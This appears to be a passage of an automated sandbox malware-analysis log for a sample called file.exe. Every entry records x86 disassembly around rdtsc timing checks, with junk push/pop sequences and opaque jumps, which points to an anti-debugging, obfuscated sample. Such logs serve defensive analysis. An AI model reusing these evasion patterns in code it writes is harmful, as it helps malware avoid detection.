Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10154 second address: A1015F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1015F second address: A10163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DEEA second address: A0DF09 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F242906E92Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F242906E92Ch 0x00000013 jl 00007F242906E926h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DF09 second address: A0DF1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2429065B4Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10163 second address: A101DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007F242906E926h 0x0000000d jmp 00007F242906E92Ch 0x00000012 popad 0x00000013 popad 0x00000014 nop 0x00000015 push ecx 0x00000016 mov ebx, dword ptr [ebp+122D2CB6h] 0x0000001c pop edi 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push edx 0x00000022 call 00007F242906E928h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], edx 0x0000002c add dword ptr [esp+04h], 00000014h 0x00000034 inc edx 0x00000035 push edx 0x00000036 ret 0x00000037 pop edx 0x00000038 ret 0x00000039 mov edi, dword ptr [ebp+122D3448h] 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push ebx 0x00000044 call 00007F242906E928h 0x00000049 pop ebx 0x0000004a mov dword ptr [esp+04h], ebx 0x0000004e add dword ptr [esp+04h], 0000001Ch 0x00000056 inc ebx 0x00000057 push ebx 0x00000058 ret 0x00000059 pop ebx 0x0000005a ret 0x0000005b mov edi, dword ptr [ebp+122D2692h] 0x00000061 xchg eax, esi 0x00000062 push eax 0x00000063 push edx 0x00000064 push ecx 0x00000065 pushad 0x00000066 popad 0x00000067 pop ecx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A103AF second address: A103B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11345 second address: A11349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11349 second address: A11353 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2429065B4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11353 second address: A11412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov ebx, 4B686E9Fh 0x0000000c sbb bx, EF1Ah 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F242906E928h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 0000001Ch 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 jnl 00007F242906E931h 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f jmp 00007F242906E92Bh 0x00000044 mov eax, dword ptr [ebp+122D0CF9h] 0x0000004a push 00000000h 0x0000004c push ebx 0x0000004d call 00007F242906E928h 0x00000052 pop ebx 0x00000053 mov dword ptr [esp+04h], ebx 0x00000057 add dword ptr [esp+04h], 00000019h 0x0000005f inc ebx 0x00000060 push ebx 0x00000061 ret 0x00000062 pop ebx 0x00000063 ret 0x00000064 xor dword ptr [ebp+122D344Dh], ebx 0x0000006a mov bl, C7h 0x0000006c push FFFFFFFFh 0x0000006e or ebx, 26558347h 0x00000074 nop 0x00000075 jmp 00007F242906E931h 0x0000007a push eax 0x0000007b push eax 0x0000007c push edx 0x0000007d push edx 0x0000007e jmp 00007F242906E932h 0x00000083 pop edx 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A141FA second address: A14226 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2429065B4Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F2429065B58h 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15157 second address: A1515D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1515D second address: A15161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A160CD second address: A160D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A160D6 second address: A160DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A160DA second address: A160DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A160DE second address: A16102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F2429065B4Bh 0x0000000f jo 00007F2429065B46h 0x00000015 popad 0x00000016 jng 00007F2429065B4Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19E88 second address: A19EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jns 00007F242906E93Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19EAD second address: A19EB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19EB5 second address: A19EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19EB9 second address: A19EC9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F2429065B4Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDD14 second address: 9CDD18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C6BD second address: A1C73D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2429065B53h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c pushad 0x0000000d mov eax, dword ptr [ebp+1245D004h] 0x00000013 mov dword ptr [ebp+122D28D3h], ebx 0x00000019 popad 0x0000001a push dword ptr fs:[00000000h] 0x00000021 mov ebx, dword ptr [ebp+1247E3D7h] 0x00000027 mov dword ptr fs:[00000000h], esp 0x0000002e push 00000000h 0x00000030 push edx 0x00000031 call 00007F2429065B48h 0x00000036 pop edx 0x00000037 mov dword ptr [esp+04h], edx 0x0000003b add dword ptr [esp+04h], 00000019h 0x00000043 inc edx 0x00000044 push edx 0x00000045 ret 0x00000046 pop edx 0x00000047 ret 0x00000048 push ecx 0x00000049 mov edi, dword ptr [ebp+122D36E5h] 0x0000004f pop edi 0x00000050 mov eax, dword ptr [ebp+122D0CF1h] 0x00000056 or dword ptr [ebp+122D2B6Eh], ebx 0x0000005c push FFFFFFFFh 0x0000005e mov ebx, dword ptr [ebp+122D33F7h] 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 push ecx 0x00000068 pushad 0x00000069 popad 0x0000006a pop ecx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C73D second address: A1C743 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1EE8B second address: A1EE8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1EE8F second address: A1EE95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20D20 second address: A20D24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20D24 second address: A20D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2A054 second address: A2A058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2A058 second address: A2A068 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F242906E926h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2A37D second address: A2A381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DA17 second address: A2DA1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DA1B second address: A2DA1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DA1F second address: A2DA28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB3DB second address: 9BB3F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F2429065B46h 0x0000000a popad 0x0000000b js 00007F2429065B52h 0x00000011 jo 00007F2429065B46h 0x00000017 jbe 00007F2429065B46h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB3F8 second address: 9BB429 instructions: 0x00000000 rdtsc 0x00000002 je 00007F242906E93Eh 0x00000008 jmp 00007F242906E936h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F242906E92Dh 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB429 second address: 9BB449 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F2429065B4Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007F2429065B46h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2F1FB second address: A2F208 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2F2BE second address: A2F2C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2F2C2 second address: A2F2C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A363E9 second address: A36409 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2429065B58h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35082 second address: A35088 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A358EB second address: A35937 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F2429065B5Ah 0x0000000c jmp 00007F2429065B59h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F2429065B51h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35D48 second address: A35D79 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F242906E926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F242906E935h 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F242906E92Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35D79 second address: A35D91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2429065B4Eh 0x00000009 jbe 00007F2429065B46h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35D91 second address: A35D95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35D95 second address: A35D9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35F4A second address: A35F4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35F4E second address: A35F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F2429065B57h 0x0000000c jmp 00007F2429065B4Bh 0x00000011 pop eax 0x00000012 jnp 00007F2429065B5Ch 0x00000018 push edx 0x00000019 pop edx 0x0000001a jmp 00007F2429065B54h 0x0000001f push esi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3BD6A second address: A3BD7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jno 00007F242906E926h 0x0000000c pop ebx 0x0000000d popad 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3BD7F second address: A3BD83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3BD83 second address: A3BDA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F242906E932h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3BDA1 second address: A3BDA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A7AE second address: A3A7E6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F242906E926h 0x00000008 jmp 00007F242906E936h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F242906E934h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A7E6 second address: A3A804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2429065B59h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AAA0 second address: A3AAA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AAA4 second address: A3AAAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AAAE second address: A3AAB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F242906E926h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AAB8 second address: A3AABE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3ADCC second address: A3ADD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3ADD0 second address: A3ADE4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F2429065B4Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE18B second address: 9EE190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A496 second address: A3A4A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2429065B4Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A4A9 second address: A3A4B3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F242906E926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A407FE second address: A40814 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jnp 00007F2429065B46h 0x0000000d popad 0x0000000e jng 00007F2429065B4Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F5B3 second address: A3F5B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F5B7 second address: A3F5D8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F2429065B46h 0x00000008 jnl 00007F2429065B46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jmp 00007F2429065B4Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03E57 second address: A03E5C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0476C second address: A04776 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04776 second address: A0477A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A048D0 second address: A048D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04BCD second address: A04C36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F242906E92Fh 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov cl, 88h 0x00000010 lea eax, dword ptr [ebp+12485629h] 0x00000016 mov edi, eax 0x00000018 call 00007F242906E935h 0x0000001d mov edx, 564420AEh 0x00000022 pop ecx 0x00000023 nop 0x00000024 pushad 0x00000025 pushad 0x00000026 jbe 00007F242906E926h 0x0000002c jng 00007F242906E926h 0x00000032 popad 0x00000033 jg 00007F242906E935h 0x00000039 popad 0x0000003a push eax 0x0000003b push ecx 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04C36 second address: A04C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04C3A second address: A04C3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04C3E second address: 9EE18B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 je 00007F2429065B46h 0x0000000e call dword ptr [ebp+122D22FAh] 0x00000014 jns 00007F2429065B73h 0x0000001a push eax 0x0000001b push edx 0x0000001c push esi 0x0000001d jmp 00007F2429065B4Bh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F8F0 second address: A3F8F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F8F4 second address: A3F8FE instructions: 0x00000000 rdtsc 0x00000002 je 00007F2429065B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F8FE second address: A3F905 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F905 second address: A3F90B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3FACB second address: A3FAD7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F242906E92Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3FC17 second address: A3FC3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F2429065B56h 0x0000000c pop edi 0x0000000d pushad 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3FC3A second address: A3FC69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F242906E932h 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F242906E92Dh 0x00000012 jnc 00007F242906E926h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3FC69 second address: A3FC7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jbe 00007F2429065B46h 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44E48 second address: A44E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44E4D second address: A44E52 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44E52 second address: A44E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F242906E92Ah 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F242906E932h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44E77 second address: A44E97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2429065B4Dh 0x00000009 jmp 00007F2429065B4Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44FC5 second address: A44FD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F242906E926h 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44FD5 second address: A44FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2429065B4Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4544F second address: A4545E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F242906E92Ah 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44A0D second address: A44A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
